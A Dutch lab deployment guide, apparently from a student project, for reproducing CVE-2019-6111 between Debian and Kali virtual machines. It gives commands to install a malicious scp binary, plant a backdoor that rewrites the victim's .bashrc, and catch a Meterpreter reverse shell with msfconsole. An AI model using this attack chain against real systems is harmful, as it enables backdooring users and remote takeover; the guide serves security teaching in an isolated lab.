User Deployment Guide - CVE-2019-6111

Deze deployment guide beschrijft alle nodige stappen die vereist zijn om de CVE-2019-6111 exploit uit te voeren, met als resultaat een reverse shell op de Debian client.

Inhoudsopgave

Vereisten

- VirtualBox
- Bash of PowerShell
- Git
- Debian (Jessie) vdi
- Kali Linux (Rolling) vdi

Instellen Omgeving

Om deze exploit te kunnen uitvoeren, moeten we eerst een omgeving opzetten. Hiervoor hebben we twee virtuele machines nodig: een Debian (Jessie) machine en een Kali Linux (Rolling) machine. De Debian machine zal de machine zijn die we willen aanvallen, en de Kali Linux machine zal de machine zijn die we gebruiken om de aanval uit te voeren.

Debian (Jessie) Machine

Om deze virtuele machine te installeren, hebben we een script geschreven dat de installatie automatisch uitvoert. Dit script is te vinden in de map `src/debian` van deze repository. Om het script uit te voeren, moet je het volgende commando uitvoeren:

```
$ bash unattended_install.sh
```

of

```
PS1> .\unattended_install.ps1
```

Kali Linux (Rolling) Machine

Om deze virtuele machine te installeren, hebben we een script geschreven dat de installatie automatisch uitvoert. Dit script is te vinden in de map `src/kali` van deze repository. Om het script uit te voeren, moet je het volgende commando uitvoeren:

```
$ bash unattended_install.sh
```

of

```
PS1> .\unattended_install.ps1
```

Deze exploit vereist dat de Debian client een bestand naar keuze download van een "bad" scp server. De scp server is in dit geval de Kali virtual machine. Om van onze Kali server een "bad" scp server te maken, moeten we een custom `scp` binary installeren. Deze binary is te vinden in de map `src/kali/provision/golang/bin` van deze repository. Om deze binary te installeren, moet je het volgende commando uitvoeren:

Opmerking: Het is belangrijk dat je dit commando uitvoert als root.

```
# git clone https://github.com/AntonVanAssche/CSV-NPE2223.git
# cp -r CSV-NPE2223/src/kali/provision/golang/bin/bad_scp /usr/bin/scp
```

Ook zal men de backdoor in de `/tmp` map moeten plaatsen. Deze backdoor is te vinden in de map `src/kali/provision/backdoor` van deze repository. Om deze backdoor te installeren, moet je het volgende commando uitvoeren:

Opmerking: Het is belangrijk dat je dit commando uitvoert als root.

```
# cp -r CSV-NPE2223/src/kali/provision/backdoor /tmp/backdoor
```

Deze backdoor is gelinkt aan het IP `192.168.0.121`, daarom moeten we de IP van de Kali machine aanpassen naar a.d.h.v. het `ip.sh` script in de map `src/kali/provision/`. Om dit script uit te voeren, moet je het volgende commando uitvoeren:

```
$ ./ip.sh
```

Als laatste stap moeten we de `ssh` server opstarten.

Opmerking: Het is belangrijk dat je dit commando uitvoert als root.

```
# systemctl start ssh
```

CVE-2019-6111

Het uitvoeren van de exploit is vrij eenvoudig. We moeten enkel een bestand downloaden van de "bad" scp server. Dit bestand kan eender welk bestand zijn. In dit voorbeeld gebruiken we het bestand `testfile.txt`. Om dit bestand te downloaden, moeten we het volgende commando uitvoeren:

```
$ scp 192.168.0.121:testfile.txt .
```

Na het uitvoeren zal men zien dat er inderdaad een bestand genaamd `testfile.txt` is gedownload. Maar wanneer we `ls -a` doen zal men al snel zien dat er ook een bestand `.backdoor` is gedownload en de `.bashrc` file is aangepast.

Metasploit

Na dat de backdoor op de Debian client is gedownload, kunnen we een reverse shell opzetten. Hiervoor gebruiken we de Metasploit framework. Om de Metasploit framework te starten, moeten we het volgende commando uitvoeren:

Opmerking: Het is belangrijk dat je dit commando uitvoert als root.

```
$ msfconsole -q -x "handler -p linux/aarch64/meterpreter/reverse_tcp -P 4444 -H
192.168.0.121"
```

Van zodra de gebruiker een nieuwe Bash shell opent, zal dit gedetecteerd worden door de Metasploit. Vervolgens kan men dan de sessie starten door het volgende commando uit te voeren:

```
msf6 > sessions 1
```

Om een reverse shell op te zetten, moeten we dan simpeleweg het volgende commando uitvoeren:

```
meterpreter > shell
```